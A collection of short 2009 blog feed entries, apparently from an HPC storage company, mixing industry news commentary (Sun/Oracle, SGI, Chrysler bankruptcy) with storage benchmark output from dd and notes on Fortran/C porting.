https://blog.scalability.org/2009/04/and-chrysler-goes-bang/ Chapter 11 filing today. Seems that the administration is thinking this will be a fast process. I think the creditors think otherwise. Chrysler may be worth more to them in a Chapter 7 liquidation than a Chapter 11 and section 363 scenario. What does this mean to HPC? Potentially lots. Chrysler, and all of its suppliers and partners use quite a bit of HPC. Keeps costs down. If they emerge, I expect them to use even more HPC. https://blog.scalability.org/2009/04/raw-unabashed-io-firepower/ Thu, 30 Apr 2009 15:00:15 +0000 https://blog.scalability.org/2009/04/raw-unabashed-io-firepower/ I hit Ctrl-C while testing … the streaming write root@jr4:~# dd if=/dev/zero of=/data/big.file bs=16M count=20k oflag=direct ^C15081+0 records in 15081+0 records out 253017194496 bytes (253 GB) copied, 186.973 s, 1.4 GB/s … and the streaming read root@jr4:~# dd if=/data/big.file of=/dev/null bs=16M iflag=direct 10240+0 records in 10240+0 records out 171798691840 bytes (172 GB) copied, 99.0592 s, 1.7 GB/s Quite nice. https://blog.scalability.org/2009/04/new-jackrabbit-being-built/ Wed, 29 Apr 2009 16:57:22 +0000 https://blog.scalability.org/2009/04/new-jackrabbit-being-built/ This one has a nice top output … <code> top - 13:36:58 up 7 min, 3 users, load average: 0.03, 0.04, 0.00 Tasks: 196 total, 1 running, 195 sleeping, 0 stopped, 0 zombie Cpu0 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu1 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu2 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu3 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu4 : 0. https://blog.scalability.org/2009/04/wisdom-from-down-under/ Wed, 29 Apr 2009 11:42:12 +0000 https://blog.scalability.org/2009/04/wisdom-from-down-under/ Found this, this morning. As the US and the rest of the world take defibrillator paddles to the economy, and we hear mutterings of class warfare, it is interesting to hear similar sentiments expressed … globally … by the people doing the actual job creating. This link is the full story. Good read. I don’t have the nice car (I have a 13 year old Jeep), or the huge house. Still in growth mode. https://blog.scalability.org/2009/04/day-job-news/ Tue, 28 Apr 2009 18:13:04 +0000 https://blog.scalability.org/2009/04/day-job-news/ Nope, haven’t been acquired. There is a lot of that going around though (and in some cases, rollups can do good in this market). We are now officially a Cray CX1 reseller (woot!!!) Since my SGI days, I’ve really enjoyed working with my Crayon colleagues. The funny thing is that many of the faces are the same. CX1 is a neat product, fits in well with what lots of our customers are doing. https://blog.scalability.org/2009/04/highly-non-optimally-tuned-v3-on-a-simple-streaming-test/ Tue, 28 Apr 2009 17:05:18 +0000 https://blog.scalability.org/2009/04/highly-non-optimally-tuned-v3-on-a-simple-streaming-test/ Yowza … [root@dv3-of coreutils-7.2]# /opt/scalable/bin/dd if=/mnt/data/filesys1/xfs/t/big.file of=/dev/null bs=16M iflag=direct 807+0 records in 807+0 records out 13539213312 bytes (14 GB) copied, 13.2268 s, 1.0 GB/s Unit has 8 GB ram. Streaming writes are a bit slower (and direct IO not nearly as efficient for this RAID6). [root@dv3-of coreutils-7.2]# /opt/scalable/bin/dd if=/dev/zero of=/mnt/data/filesys1/xfs/t/big.file bs=16M count=2k 2048+0 records in 2048+0 records out 34359738368 bytes (34 GB) copied, 82.3577 s, 417 MB/s For laughs, lets re-read that 34 GB I just wrote out. https://blog.scalability.org/2009/04/3ware-acquired-by-lsi/ Sun, 26 Apr 2009 23:44:05 +0000 https://blog.scalability.org/2009/04/3ware-acquired-by-lsi/ AMCC looks like they sold their 3ware raid bits to LSI on the 21st of April. 3ware is one of the major lower end RAID suppliers out there. They have a volume business, but like everyone, I suspect AMCC was falling on hard times, and needed to monetize its purchase of 3ware. What does this mean? Probably more consolidation in the storage market. 3ware built its own storage processors. LSI makes storage processors. https://blog.scalability.org/2009/04/the-magical-incantation-to-make-rpath-linux-enable-compilation-about-12-way-to-where-we-need-to-be/ Sun, 26 Apr 2009 15:31:04 +0000 https://blog.scalability.org/2009/04/the-magical-incantation-to-make-rpath-linux-enable-compilation-about-12-way-to-where-we-need-to-be/ I have been quite critical of rPath. I believe rightly so. They make life far too hard for people who need to build code or kernel modules to live patch a system. The documentation for doing this stuff … really doesn’t exist. You are frankly, on your own. So I have spent hours trying to figure this out. And finally, came across the method to get builds to work. [root@dv3-of arcmsr]# conary update glibc:devel Including extra troves to resolve dependencies: glibc:devellib=2. https://blog.scalability.org/2009/04/a-plan-to-work-around-the-rpath-issues-in-openfiler/ Sat, 25 Apr 2009 11:06:26 +0000 https://blog.scalability.org/2009/04/a-plan-to-work-around-the-rpath-issues-in-openfiler/ So I was thinking about how to work around the issues I found in OpenFiler. Basically the inability to upgrade drivers is the critical issue. Well, if OpenFiler never touches the hardware, this is much less of an issue. Bear with me. Basically, we sell JackRabbit as a server or an appliance, and pre-configure it so that our customers can pull it out of the box, stick it into the rack or on the floor, turn it on, and start working. https://blog.scalability.org/2009/04/cloudy-issues/ Sat, 25 Apr 2009 03:04:08 +0000 https://blog.scalability.org/2009/04/cloudy-issues/ I need to get this out first and foremost. I do believe that cloud computing or similar is inevitable. It is coming. I am also a realist. I know perfectly well that there are some fairly significant impediments to it. The impediments are a mixture of technological deployment, and business models. Its not impossible to do this given sufficient money. But some of the dependencies are simply too pricey to enable rapid cloud adoption, and I don’t see this changing rapidly in the near term (next 3 years). https://blog.scalability.org/2009/04/detroit-where-the-weak-are-killed-and-eaten/ Sat, 25 Apr 2009 01:03:03 +0000 https://blog.scalability.org/2009/04/detroit-where-the-weak-are-killed-and-eaten/ Way back in graduate school, my family was in town for my wedding. Back then, Detroit had a reputation … not a pretty one … for being the murder capital of the US. Sure made my folks happy I was going to grad school there. So while we were wandering around in Greektown right after a meal, we spent some time in Trappers alley, at a number of stores. One of the stores had a T-Shirt my older brother really seemed to enjoy. https://blog.scalability.org/2009/04/acquisition-day-t-5-we-learn-more/ Fri, 24 Apr 2009 23:40:03 +0000 https://blog.scalability.org/2009/04/acquisition-day-t-5-we-learn-more/ Ok, looks like I was dead on right on some aspects, and likely pie in the sky with others. Here is where I was right. This acquisition was, and is, about Java and MySQL. From The Register yesterday: Yup. Makes sense. But also stated … … which they have to do to prevent Sun’s hardware sales from tanking pre-close. We know this. And they are going to keep making these noises up until the close. https://blog.scalability.org/2009/04/great-concept-terrible-implementation/ Fri, 24 Apr 2009 20:31:17 +0000 https://blog.scalability.org/2009/04/great-concept-terrible-implementation/ I’ve mentioned rPath before, as it is the basis for OpenFiler, and other appliances. Now with the mad headlong rush into the misty vapors of cloud computing, they are rebranding as a cloud appliance provider. Their concept is great. Create a functional software appliance, run it everywhere. Thats not what i am going to complain about. Its about the implementation. [rant mode full on] Its always about the implementation. As the implementation is the thing that drives support. https://blog.scalability.org/2009/04/amusing-story-of-the-day-yes-someone-has-tried-to-scam-us/ Fri, 24 Apr 2009 18:55:08 +0000 https://blog.scalability.org/2009/04/amusing-story-of-the-day-yes-someone-has-tried-to-scam-us/ So there I am waiting for my 3:30pm phone call. Working on a Delta-V for a partner. Get a call from the number 5618260072 Remember that number. This person claimed they were representing Hugh Downs production company and wanted to do a story. Obviously this person had no clue, was reading from a script, and didn’t have any research background on us. I was at least amused. One of their questions at the end got me thinking that this person wasn’t clueless, but was fishing for something. https://blog.scalability.org/2009/04/the-bell-may-toll-for-chrysler-next-week/ Thu, 23 Apr 2009 21:58:16 +0000 https://blog.scalability.org/2009/04/the-bell-may-toll-for-chrysler-next-week/ From theNYT, we learn that they are being pushed to a Chapter 11 filing. This is needed, in order to cause a break on some of the really bad contracts and other business elements they have agreed to over the years. Chrysler is a consumer of HPC products. Rumor has it a large (effectively free/risk free) cluster was provided by one of the tier 1s in the last few months. Chrysler has been hammered by the economic downturn, and the effective absence of credit in the market. https://blog.scalability.org/2009/04/96tb-jr5-now-available/ Wed, 22 Apr 2009 20:23:20 +0000 https://blog.scalability.org/2009/04/96tb-jr5-now-available/ 96TB raw capacity, 5U high performance storage system with 64GB ram, 8 processor cores, 4x GbE, 2x 10GbE ports, dual hardware accelerated RAID cards, SSD boot drives. For well under $1000/TB. More information coming in the formal announcement this week. https://blog.scalability.org/2009/04/acquisition-t-1-day/ Tue, 21 Apr 2009 12:19:39 +0000 https://blog.scalability.org/2009/04/acquisition-t-1-day/ As John West points out over at InsideHPC.com, the FAQ really didn’t live up to FAQ standards … very little was answered, and there are many more questions. But a pattern did emerge, that fundamentally suggests that we may have been (more) right (than we knew). This acquisition was about MySQL and Java. And other software bits. But no mention of Lustre, and even more important to a larger number of HPC sites, GridEngine. https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-21/ Tue, 21 Apr 2009 07:05:00 +0000 https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-21/ * The Sun has set: acquired by Oracle after messing up IBM acquisition. Hardware and HPC probably gone. Its Java Larry wanted. [#](http://twitter.com/sijoe/statuses/1565006452) Powered by Twitter Tools. https://blog.scalability.org/2009/04/game-over-sun-snarfed-up-by-oracle/ Mon, 20 Apr 2009 11:23:12 +0000 https://blog.scalability.org/2009/04/game-over-sun-snarfed-up-by-oracle/ See the PR. Oh my. Imagine one of several scenarios. Scenario 1: All other hardware vendors drop Oracle certification efforts and cease selling Oracle on their platforms as Oracle hasn’t stopped directly competing with them. Scenario 2: Sun hardware largely goes by-by, enmasse, so Oracle can focus upon the bits that make sense for its business, and not piss its partners off too badly. I am guessing it is going to wind up much closer to 2 than to 1. https://blog.scalability.org/2009/04/customer-service/ Sun, 19 Apr 2009 02:37:20 +0000 https://blog.scalability.org/2009/04/customer-service/ Names not used to protect the guilty. We have a motherboard that we bought about 2 years ago now. It was used to run 5310 processors for a build machine for a while. Well, the fist motherboard we had from them, while advertised as compatible with quad core … wasn’t. We had to RMA it to get the right version from this vendor. Well, we had to upgrade the bios recently to support a new card we placed in the machine. https://blog.scalability.org/2009/04/extra-extra-read-all-about-it-vc-deals-in-michigan-plummet-70/ Sat, 18 Apr 2009 20:49:55 +0000 https://blog.scalability.org/2009/04/extra-extra-read-all-about-it-vc-deals-in-michigan-plummet-70/ Yeah … thats what is being reported in the Freep. I haven’t looked at the latest moneytree numbers from PWC, but from what the author reports, Yup. You got it. And more to the point, all of the “big winners” here … are already funded companies. That is, new company formation, with a VC/Angel assist, is not happening at a pace worthy of mentioning. Specifically I think they call this … the long tail. https://blog.scalability.org/2009/04/i-think-the-fat-lady-has-begun-to-sing-ibm-rejected-suns-overatures-to-restart-discussions/ Sat, 18 Apr 2009 11:38:13 +0000 https://blog.scalability.org/2009/04/i-think-the-fat-lady-has-begun-to-sing-ibm-rejected-suns-overatures-to-restart-discussions/ Yeah, this is sounding more and more like a Yahoo-redux. So who will play the part of Jerry Yang? According to a report from the Triangle Business Journal, The journal was summarizing a CNBC report, which I hadn’t seen. In these cases, played out in public, unless one party gives a good reason for not resuming negotiating, they are basically holding out to see what the other party will sweeten the deal with. https://blog.scalability.org/2009/04/a-bit-of-traffic-for-pegasus/ Thu, 16 Apr 2009 23:36:01 +0000 https://blog.scalability.org/2009/04/a-bit-of-traffic-for-pegasus/ someone was apparently looking at our Pegasus GPU+Cell box spec’s online … and told their friends. Most of the comments were ok, though someone thinks this is not a deskside/desktop box. They wrote: Heh … Won’t dispute the low production piece … we are not making millions of them. As for a desktop computer? That is most assuredly what this is. See for yourself … Now imagine throwing even more cores and GPUs at it. https://blog.scalability.org/2009/04/cluster-top/ Thu, 16 Apr 2009 22:24:39 +0000 https://blog.scalability.org/2009/04/cluster-top/ Well, I wrote a cluster top a while ago, and just installed it for a customer whose cluster we are burning in right now. This is an office cluster … 48 cores, has to be pretty darned silent, as it is going into an office environment. User needs to see whats running on the cluster. Top is a great interface to this. ctop is getting better. ctop v0.25: by Scalable Informatics http://www. https://blog.scalability.org/2009/04/reuters-on-sun-ibm-no-we-really-want-to-be-courted/ Thu, 16 Apr 2009 10:18:59 +0000 https://blog.scalability.org/2009/04/reuters-on-sun-ibm-no-we-really-want-to-be-courted/ Yahoo news points to an article on Reuters news service, where it quotes unnamed people familiar with the situation. Very short article, looks more like a backchannel communication method saying “come back, we really do want you to court us”. I would imagine that some shareholders … er … expressed their rather positions, rather emphatically … to Sun’s board. I am sure quite a bit of heat was generated, until the relevant people saw the light. https://blog.scalability.org/2009/04/rendevous-in-paris/ Wed, 15 Apr 2009 11:08:08 +0000 https://blog.scalability.org/2009/04/rendevous-in-paris/ I could say that using a JackRabbit for high performance storage is sorta like this … :) Something like this is on my mind when I write about our test tracks, and cracking the throttle wide open.. https://blog.scalability.org/2009/04/10000-drives-for-80-gbs/ Wed, 15 Apr 2009 00:29:38 +0000 https://blog.scalability.org/2009/04/10000-drives-for-80-gbs/ Just read this today at the Reg. Argonne has lots of GPUs, and disks. Separated with a big old IB fabric. Hmmm…. 10,000 disks to get 80,000,000,000 B/s. Hmmm…. Delivering that to GPUs. Hmmm…. I think we can do better. Just 80 of our JR4 units can certainly read and write at that speed, and we can get them 2 GPUs in the same box as the disks. 160 GPUs (Tesla’s at that). https://blog.scalability.org/2009/04/supercomputing-as-a-service-meet-eka/ Mon, 13 Apr 2009 17:42:27 +0000 https://blog.scalability.org/2009/04/supercomputing-as-a-service-meet-eka/ In this article, the author covers some of what CRL is doing with Eka (pronounced eh-kch). There are some interesting points: Not sure I agree that it is the first time a corporate institution is doing this … others have been there before, and some are continuing, such as Tsunamic Technologies. This said, the other point is very much on target. Most of the governmental backed/based HPC providers are doing so, specifically to further their research. https://blog.scalability.org/2009/04/interesting-results-on-potential-windows-7-uptake/ Mon, 13 Apr 2009 16:47:28 +0000 https://blog.scalability.org/2009/04/interesting-results-on-potential-windows-7-uptake/ Of course, this is all premature … windows 7 could turn out to be the greatest thing since sliced bread … though honestly, I doubt it. Information week reports that 83% of corporate customers do not plan a windows 7 deployment in the first year of availability. Moreover, most are … happy … with XP, and will continue to use it, as they are concerned with application compatibility. That is quite interesting, but not terribly surprising. https://blog.scalability.org/2009/04/so-here-is-the-fortran90-with-c-problem/ Sun, 12 Apr 2009 12:59:17 +0000 https://blog.scalability.org/2009/04/so-here-is-the-fortran90-with-c-problem/ This is the example I concocted to help demonstrate the problem and help me learn how to solve it. The problem is, I solved this … without any fancy interface blocks or anything strange like that. Go figure. The makefile <code> CC = icc FC = ifort LD = ifort CFLAGS = -g FFLAGS = -g LFLAGS = -g all: test.exe test.exe: test_f.o test_c.o $(LD) $(LFLAGS) test_f.o test_c.o -o test.exe test_f. https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-12/ Sun, 12 Apr 2009 07:05:00 +0000 https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-12/ * Dealing with a very reluctant Fortran90 to C under MPI interface, in preparation for a Cuda port of the C. Mostly done. Array issues... [#](http://twitter.com/sijoe/statuses/1500062985) Powered by Twitter Tools. https://blog.scalability.org/2009/04/the-7b-question-that-ibm-asked/ Sun, 12 Apr 2009 01:14:53 +0000 https://blog.scalability.org/2009/04/the-7b-question-that-ibm-asked/ In a Register article, Gavin Clarke asks the obvious questions, and doesn’t seem to think the answers are all that great. Not so sure thats what killed the deal, or if the deal is really dead. No, I have no inside information. I speculate that someone was playing a game of brinksmanship and managed to scupper the deal in front of them. It is still possible to do a deal, but it is going to come in quite a bit less than before. https://blog.scalability.org/2009/04/on-the-perceived-danger-of-open-source/ Sat, 11 Apr 2009 02:45:38 +0000 https://blog.scalability.org/2009/04/on-the-perceived-danger-of-open-source/ A blog post was written making the argument that, as pricing dropped, so did quality, in software, in patents, in pretty much everything covered. The author suggested that open source will be, effectively, the death of the software industry. Not to mention burying Sun Microsystems. Ok … I could fisk the post, but its better just to note that too many things are being conflated and confused in the article … it would take less time to simply point out reality than try to correct what I saw. https://blog.scalability.org/2009/04/some-losses-are-more-painful-than-others/ Fri, 10 Apr 2009 18:50:14 +0000 https://blog.scalability.org/2009/04/some-losses-are-more-painful-than-others/ We lost our second bid in a week. I’ve been trying to figure out why (which is why I often fight a quixotic battle to get information about why we lose when we do). This one was painful as it was at one of my alma maters. So, when we generate pricing for configurations, we use our latest and greatest pricing data from our suppliers. What if, I dunno … a) the pricing was out of date, and b) the new pricing was much lower than the old pricing? https://blog.scalability.org/2009/04/comes-up-for-air-gulp/ Thu, 09 Apr 2009 22:51:39 +0000 https://blog.scalability.org/2009/04/comes-up-for-air-gulp/ That was intense. Doug is driving the proposal to Fedex, with minutes to spare before the cutoff. I just love RFPs. No … really. All the long tedious forms … and the forms … did I mention the forms … and the signatures … and the forms … forms … This is why I have been silent for a few days. My apologies. Will try to catch up tomorrow. https://blog.scalability.org/2009/04/curiouser-and-curiouser/ Wed, 08 Apr 2009 00:05:37 +0000 https://blog.scalability.org/2009/04/curiouser-and-curiouser/ So we all “know” the prospective fate of SGI … assets to be sold for a song to Rackable, employees let go … equity shareholders left holding effectively nothing. Whats odd is that outstanding equity shares haven’t been canceled yet. At some point, this suggests that there will be an exchange … X SGIC shares for 1 share of RACK. But thats not the curious thing. This is. Last friday, an order was was entered which gave effective veto power to SGIC for any sale of equity over a very specific amount. https://blog.scalability.org/2009/04/sooo-close-sooo-close/ Tue, 07 Apr 2009 21:56:46 +0000 https://blog.scalability.org/2009/04/sooo-close-sooo-close/ Dealing with a strange parameter passing/indexing thingy. Something ain’t quite right. Passing allocatable arrays from F90 to C, check. Passing the array metadata (bounds), check. Getting the pointer arithmetic correct (I think), check. Getting the C version of this computational kernel prepped for Cuda-izing? Priceless. Well, ok, not really priceless. Part of a porting service. https://blog.scalability.org/2009/04/as-the-economic-situation-takes-its-toll-isilon-trims-staff/ Tue, 07 Apr 2009 12:13:37 +0000 https://blog.scalability.org/2009/04/as-the-economic-situation-takes-its-toll-isilon-trims-staff/ Saw this, this morning on the Reg. The CEO blames the economy. Doesn’t surprise me, Isilon kit isn’t cheap, and there is something of a spending freeze going on in the economy. https://blog.scalability.org/2009/04/alrighty-then-cooking-with-fire/ Tue, 07 Apr 2009 01:09:14 +0000 https://blog.scalability.org/2009/04/alrighty-then-cooking-with-fire/ Figured out the allocatable array to C passing issue. Now I need to pass the dimensions. Long story, punchline is that Fortran preserves array metadata in its calls with pointers back to its metadata entries in symbol tables (or even with the data itself). C … not so much. More hack work to make it work, and then we can get to the Cuda portion of the port … Wahooo! https://blog.scalability.org/2009/04/monday-morning-an-hour-before-the-markets-open/ Mon, 06 Apr 2009 11:59:05 +0000 https://blog.scalability.org/2009/04/monday-morning-an-hour-before-the-markets-open/ And Sun (NASDAQ: JAVA) is already down quite a bit. https://blog.scalability.org/2009/04/why-cant-banks-just-pay-back-the-tarp-money-if-they-dont-need-it/ Mon, 06 Apr 2009 11:46:35 +0000 https://blog.scalability.org/2009/04/why-cant-banks-just-pay-back-the-tarp-money-if-they-dont-need-it/ Makes sense … right? If a bank doesn’t need it, it should give it back, with interest. This is what we want. It is the right thing to do. Unless there is something else going on. Ummm … er … ah … https://blog.scalability.org/2009/04/market-recovery-dead-cat-bounce-or-worse/ Mon, 06 Apr 2009 04:41:48 +0000 https://blog.scalability.org/2009/04/market-recovery-dead-cat-bounce-or-worse/ Once, a long while ago, back during my SGI days, SGI had been pummeled for missing our numbers one quarter. There was a brief rally, someone asked if we had turned things around. Experienced commentators talked about how even “dead cats bounce”. Not exactly the most pleasant of images, but there it was. Obviously, you know how that story turned out. I raise this situation now, as there has been a market rally over the past few days. https://blog.scalability.org/2009/04/new-weather-event-tonighttomorrow/ Mon, 06 Apr 2009 01:00:38 +0000 https://blog.scalability.org/2009/04/new-weather-event-tonighttomorrow/ 6+ inches of snow (15cm for those using sane units) expected. Of course, the last time they predicted snow, we got 45 degree sun-shining days. Unfortunately, they appear to be right this time. [ ](http://www.accuweather.com/radar-large.asp?partner=forecastfox&traveler=0&site=MI_&type=SIR&anim=0&level=state&large=1) https://blog.scalability.org/2009/04/ok-classify-this-one-as-fun/ Mon, 06 Apr 2009 00:52:24 +0000 https://blog.scalability.org/2009/04/ok-classify-this-one-as-fun/ Q: When is an array not an array? A: When it is a Fortran90 allocatable array, and you are pulling out your remaining (&^&$#% hair trying to pass it to a C routine. Ok, I have found some hope, appealing to some F2003 bits which this compiler supports. But still … the most likely scenarios is that I have to create an array of pointers to get to the data … which means that we are likely to have some memory performance hit. https://blog.scalability.org/2009/04/breaking-ibm-pulls-bid-for-sun/ Sun, 05 Apr 2009 22:56:51 +0000 https://blog.scalability.org/2009/04/breaking-ibm-pulls-bid-for-sun/ Not sure if someone else is offering more. Sun apparently said they didn’t want to be negotiating exclusively with IBM, so IBM yanked the bid. I expect Sun’s shares (NASDAQ: JAVA) to plummet in the morning, unless they announce their new suitor. Shades of Yahoo+Microsoft. Someone on the Yahoo side did a really bad thing by their shareholders. And got fired for it. [update] More at WSJ. Sun’s board rejected the offer as too low. https://blog.scalability.org/2009/04/ran-benchmarksql-on-velocibunny/ Sat, 04 Apr 2009 01:10:36 +0000 https://blog.scalability.org/2009/04/ran-benchmarksql-on-velocibunny/ So Velocibunny now has a shiny new set of 5502 Nehalem CPUs in it, 12 GB ram, and 24 SSDs. For laughs, I ran BenchmarkSQL on it. Ok, not for laughs, but the folks who were originally all hot an bothered to run on it sort of disappeared, so I had to come up with some benchmark tests. Oddly enough, BenchmarkSQL was written by one of them. Go figure. I am attempting to understand, in the simplest possible classification scenario, what a good score is and what a bad score is. https://blog.scalability.org/2009/04/forbes-on-ibmsun-there-will-be-blood/ Fri, 03 Apr 2009 15:01:21 +0000 https://blog.scalability.org/2009/04/forbes-on-ibmsun-there-will-be-blood/ John West at InsideHPC comments and links to a Forbes article with a gedanken experiment. The net of this is that huge swaths of Sun offerings would be EOLed. Huge swaths. Which is similar to what John and I said in separate articles. The Forbes article notes something that should give customers some pause: We agree. This would end a proprietary product, with no real chance of followon going forward. One of the huge dangers in any IT purchase is the possibility of an un-recoverable bricking at some point. https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-02-2/ Thu, 02 Apr 2009 07:05:00 +0000 https://blog.scalability.org/2009/04/twitter-updates-for-2009-04-02-2/ * @[herrold](http://twitter.com/herrold) Yes.... she's dead Jim ... this time, it looks like for real. The zombie doesn't look like its going to walk any time soon [in reply to herrold](http://twitter.com/herrold/statuses/1431586144) [#](http://twitter.com/sijoe/statuses/1435454318) Powered by Twitter Tools. https://blog.scalability.org/2009/04/more-about-the-sgi-bankruptcy/ Thu, 02 Apr 2009 00:00:25 +0000 https://blog.scalability.org/2009/04/more-about-the-sgi-bankruptcy/ I didn’t have access to all the information (and still don’t), just what seeps out in reports. Here is a good report, which suggests that this might not be as pretty a face (and it wasn’t pretty) as SGI suggested in its customer letter. Critical aspects not mentioned in public until now appear to be I had heard it was shopping itself around. But what real value did it have? And what about its liabilities? https://blog.scalability.org/2009/04/mastering-cat-finally-the-book-we-all-need/ Wed, 01 Apr 2009 18:55:19 +0000 https://blog.scalability.org/2009/04/mastering-cat-finally-the-book-we-all-need/ Here is the link. Enjoy. (Hat tip: Andrew at Tuxtone) https://blog.scalability.org/2009/04/scalemp-steps-up-to-fill-the-void-left-by-sgi/ Wed, 01 Apr 2009 17:18:24 +0000 https://blog.scalability.org/2009/04/scalemp-steps-up-to-fill-the-void-left-by-sgi/ Shai Fulthem at ScaleMP just sent me a quick note. Here it is reproduced below. With the recent announcement of SGI’s (NASDAQ:SGIC) acquisition by Rackable Systems (NASDAQ:RACK), ScaleMP is announcing immediate availability of migration package for existing SGI Altix customers. ScaleMP’s vSMP Foundation offers up to 4TB and 128 cores shared memory system, and is available from multiple hardware partners. The recent product expansion to support Nehalem processor as well as multi-rail InfiniBand makes vSMP Foundation an excellent replacement for existing SGI customers. https://blog.scalability.org/2009/04/sgi-is-done-and-sold-heard-this-rumor-yesterday/ Wed, 01 Apr 2009 11:55:44 +0000 https://blog.scalability.org/2009/04/sgi-is-done-and-sold-heard-this-rumor-yesterday/ [updated] see bottom: SGI will be acquired by Rackable. This said, read the press release. Specifically the portion that indicates that Yes, this is right (and assuming it is not an April Fools joke), this means SGI file for bankruptcy this morning. They had a looming $5M payment due last Friday to Morgan Stanley. I was searching for information as to whether or not they had made that payment, as I thought that MS might force them into a chapter 7, and sell off their assets. https://blog.scalability.org/2009/04/and-thus-it-begins/ Wed, 01 Apr 2009 11:37:29 +0000 https://blog.scalability.org/2009/04/and-thus-it-begins/ Please post em if you find em. I suspect it will be a busy news day … First up: Breaking news, IBM buys Linus Torvalds Second: Turnkey Linux abandons Linux, and becomes Turnkey Windows. I’ll update em as I find em. https://blog.scalability.org/2009/03/auto-industry-what-auto-industry/ Mon, 30 Mar 2009 14:28:57 +0000 https://blog.scalability.org/2009/03/auto-industry-what-auto-industry/ Here in Detroit, we have the big 3 … Ford, GM, and Chrysler. Well, maybe no longer. This morning the government passed judgment on this industry, which had been requesting capital to survive, as the credit markets, despite protestations to the contrary from various sources, is still frozen … and they (and all other businesses) need capital (and credit) to survive. The government has said (basically) … its Chapter 11 (or 7) for you. https://blog.scalability.org/2009/03/so-who-exactly-is-responsible-for-the-meltdown-on-wall-street/ Sat, 28 Mar 2009 17:45:28 +0000 https://blog.scalability.org/2009/03/so-who-exactly-is-responsible-for-the-meltdown-on-wall-street/ I saw a link to this today. In it there are some juicy bits. Like this: Hmmm …. Ok … what is Glass-Steagall? What went wrong was that the housing bubble, which was quite speculative in Florida and Las Vegas, burst. Elsewhere, we had unsustainable growth in “value” of housing. But this story is … well … prescient … and not in a good way … Ok, thats just plain old scary. https://blog.scalability.org/2009/03/twitter-updates-for-2009-03-25/ Wed, 25 Mar 2009 07:05:00 +0000 https://blog.scalability.org/2009/03/twitter-updates-for-2009-03-25/ * @[insideHPC](http://twitter.com/insideHPC) Volume rules. This is why HPC is, and must, go down market, to desktops. And why accelerators are so important. [in reply to insideHPC](http://twitter.com/insideHPC/statuses/1381719127) [#](http://twitter.com/sijoe/statuses/1381741850) * @[herrold](http://twitter.com/herrold) You should tell you quant friend that we (scalable) are well on our way to 16 GPUs per machine. Currently max 8. Pegasus-gpu [#](http://twitter.com/sijoe/statuses/1382043143) Powered by Twitter Tools. https://blog.scalability.org/2009/03/cool-announcement-tomorrow/ Wed, 25 Mar 2009 01:42:01 +0000 https://blog.scalability.org/2009/03/cool-announcement-tomorrow/ :) https://blog.scalability.org/2009/03/ok-fixed-the-over-zealous-tweeting/ Wed, 25 Mar 2009 01:40:21 +0000 https://blog.scalability.org/2009/03/ok-fixed-the-over-zealous-tweeting/ one blog post per tweet is a fast way to get a social networking echo chamber (or feedback loop). https://blog.scalability.org/2009/03/first-pre-tuning-numbers-for-the-small-velocibunny/ Wed, 25 Mar 2009 01:37:32 +0000 https://blog.scalability.org/2009/03/first-pre-tuning-numbers-for-the-small-velocibunny/ Ok, I know you have been asking … What is a “velocibunny” Think of it as … um … a very very fast JackRabbit. Not that JackRabbit isn’t fast … it appears to be best in its class in performance. But “velocibunny” is faster. A lot faster. How fast and what workloads? It is specifically designed to be usable as a very fast database engine. As in PostgreSQL and related. Now mind you, it is in lab with the first iteration of an OS load, and ** NO TUNING** This is “build the RAID10 out of the box and start using it with a base load”. https://blog.scalability.org/2009/03/herrold-you-should-tell-you-q/ Tue, 24 Mar 2009 14:44:36 +0000 https://blog.scalability.org/2009/03/herrold-you-should-tell-you-q/ @herrold You should tell you quant friend that we (scalable) are well on our way to 16 GPUs per machine. Currently max 8. Pegasus-gpu https://blog.scalability.org/2009/03/insidehpc-volume-rules-this/ Tue, 24 Mar 2009 13:43:37 +0000 https://blog.scalability.org/2009/03/insidehpc-volume-rules-this/ @insideHPC Volume rules. This is why HPC is, and must, go down market, to desktops. And why accelerators are so important. https://blog.scalability.org/2009/03/herrold-2nd-derivative-is-cur/ Tue, 24 Mar 2009 01:59:38 +0000 https://blog.scalability.org/2009/03/herrold-2nd-derivative-is-cur/ @herrold 2nd derivative is curvature, how quickly the slope changes. Sadly it looks like it is changing in the wrong direction. https://blog.scalability.org/2009/03/we-built-most-of-velocibunny/ Tue, 24 Mar 2009 01:58:24 +0000 https://blog.scalability.org/2009/03/we-built-most-of-velocibunny/ We built most of “Velocibunny” today. The x5492’s didn’t work, so we used 5310’s. This was the fastest RAID build I have ever seen … https://blog.scalability.org/2009/03/the-economys-toll/ Mon, 23 Mar 2009 22:07:14 +0000 https://blog.scalability.org/2009/03/the-economys-toll/ I read today about the Ann Arbor news going out of the atom pushing business, and getting into the bit pushing business. Given that most news papers are advertisement supported, and Google has eaten most everyone’s lunch on advertising … this isn’t a guaranteed strategy by any measure. I wish them luck. But that isn’t what caught my eye. Its the unemployment rate, and its' first derivative (e.g. slope), in Michigan. https://blog.scalability.org/2009/03/more-about-the-sun-ibm-thing/ Sun, 22 Mar 2009 17:22:20 +0000 https://blog.scalability.org/2009/03/more-about-the-sun-ibm-thing/ John L over at InsideHPC writes about an article that appears in the print version of the New York Times. In this article, John notes that IBM is scouring Sun Microsystems contracts … well, their lawyers are doing due diligence, in large part, to help figure out if there is something of value there. John opines that there are many things of great value. As I see it, the market has indicated otherwise, by valuing Sun Micro stock where it is now. https://blog.scalability.org/2009/03/failblog-couldnt-stop-lau/ Fri, 20 Mar 2009 02:11:46 +0000 https://blog.scalability.org/2009/03/failblog-couldnt-stop-lau/ Failblog … couldn’t stop laughing at this … http://tinyurl.com/c2qm4o https://blog.scalability.org/2009/03/eek-on-an-exploit-against-processors/ Thu, 19 Mar 2009 18:39:12 +0000 https://blog.scalability.org/2009/03/eek-on-an-exploit-against-processors/ Nasty. See the link https://blog.scalability.org/2009/03/ddos-saga-continues-the-revenge-of-the-attacked-mwahahaha/ Thu, 19 Mar 2009 17:20:50 +0000 